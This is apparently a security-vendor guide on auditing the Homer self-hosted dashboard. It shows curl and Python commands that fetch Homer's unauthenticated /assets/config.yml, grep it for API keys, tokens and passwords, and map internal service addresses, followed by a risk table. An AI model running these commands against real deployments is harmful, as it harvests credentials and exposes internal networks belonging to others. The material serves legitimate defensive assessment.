Homer is one of the most widely deployed self-hosted dashboards, providing a central hub linking to all other services in a home lab or small office environment. Its security concern is particularly acute because it serves as an aggregator: Homer's config.yml is served directly from the web root at /assets/config.yml without any access controls — this file contains the URL and often the API key or token for every service configured in the dashboard; Homer's service item configuration supports an apikey field for services like Sonarr, Radarr, Portainer, Grafana, and Home Assistant to display live status — these API keys are stored in config.yml in plaintext; Homer is a purely static web application with no server-side authentication mechanism — any authentication must be handled by a reverse proxy, and Homer deployments are frequently misconfigured to allow direct access bypassing the proxy; and because Homer links to every service in the environment, obtaining access to Homer's configuration reveals the full topology of internal services. This guide covers systematic Homer security assessment.
# Homer config.yml is served from web root — directly accessible without authentication
HOMER_URL="https://homer.example.com"
# Fetch the config.yml directly — contains all service URLs and any API keys
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | head -100
# Alternative path — some Homer deployments use a different assets path
curl -s "${HOMER_URL}/config.yml" 2>/dev/null | head -50
# Parse YAML for sensitive fields (requires PyYAML)
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | python3 -c "
import sys
try:
import yaml
config = yaml.safe_load(sys.stdin.read())
services = config.get('services', [])
print(f'Service groups: {len(services)}')
for group in services:
print(f'Group: {group.get(\"name\")}')
for item in group.get('items', []):
print(f' {item.get(\"name\")} url={item.get(\"url\")}')
# Look for sensitive configuration fields
for field in ['apikey', 'token', 'api_key', 'password', 'secret']:
if field in item:
print(f' CREDENTIAL {field}: {item[field]}')
except ImportError:
print('PyYAML not installed — pipe to a YAML parser manually')
" 2>/dev/null
# Homer config.yml — service items with API keys for status checking
# Example of what a credential-containing config.yml looks like:
# services:
# - name: "Media"
# items:
# - name: "Sonarr"
# url: "http://sonarr:8989"
# apikey: "your-sonarr-api-key-here"
# type: "Sonarr"
# - name: "Radarr"
# url: "http://radarr:7878"
# apikey: "your-radarr-api-key-here"
# type: "Radarr"
# - name: "Portainer"
# url: "http://portainer:9000"
# token: "ptr_xxxxxx"
# - name: "Home Assistant"
# url: "http://homeassistant:8123"
# apikey: "long-lived-access-token"
# Grep for API keys and tokens in the config
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | grep -iE '(apikey|token|api_key|password|secret):\s*["\x27]?[^"\x27\n]{8,}'
# Extract all URLs from config to map the full service topology
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | grep -oE 'url:\s*"?https?://[^"[:space:]]+'
# Homer config reveals internal service topology — all services and their internal addresses
HOMER_URL="https://homer.example.com"
# Map all internal hosts and ports from the config
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | python3 -c "
import sys, re
content = sys.stdin.read()
# Extract all URLs — reveals internal IP addresses, hostnames, and ports
urls = re.findall(r'url:\s*[\"'\'']?(https?://[^\s\"'\'']+)', content)
print(f'Internal services found: {len(urls)}')
seen = set()
for url in urls:
if url not in seen:
seen.add(url)
print(f' {url}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| config.yml direct access exposing service credentials | GET /assets/config.yml — served from web root without authentication; file commonly contains apikey fields for Sonarr, Radarr, Portainer, Grafana, and Home Assistant long-lived access tokens | Critical |
| Service topology mapping via config | Parse URL fields from /assets/config.yml — reveals internal hostnames, IP addresses, and ports for every service in the environment enabling targeted discovery of additional attack surfaces | High |
| No built-in authentication mechanism | Direct access to Homer bypassing reverse proxy authentication — Homer has no server-side auth; if the reverse proxy is misconfigured or the container port is exposed directly, full access without credentials | High |
| Custom logo/icon file path disclosure | GET /assets/ directory listing — Homer may serve an assets directory with additional configuration files, custom icons, and background images that reveal organizational or infrastructure information | Low |
Ironimo tests Homer deployments for config.yml exposure from the web root revealing API keys and tokens for all integrated services, service topology mapping through URL extraction identifying internal service addresses and ports, authentication bypass when Homer is accessed without a reverse proxy authentication layer, and credential content extraction from apikey/token fields for Sonarr, Radarr, Portainer, Grafana, and Home Assistant.
Start free scan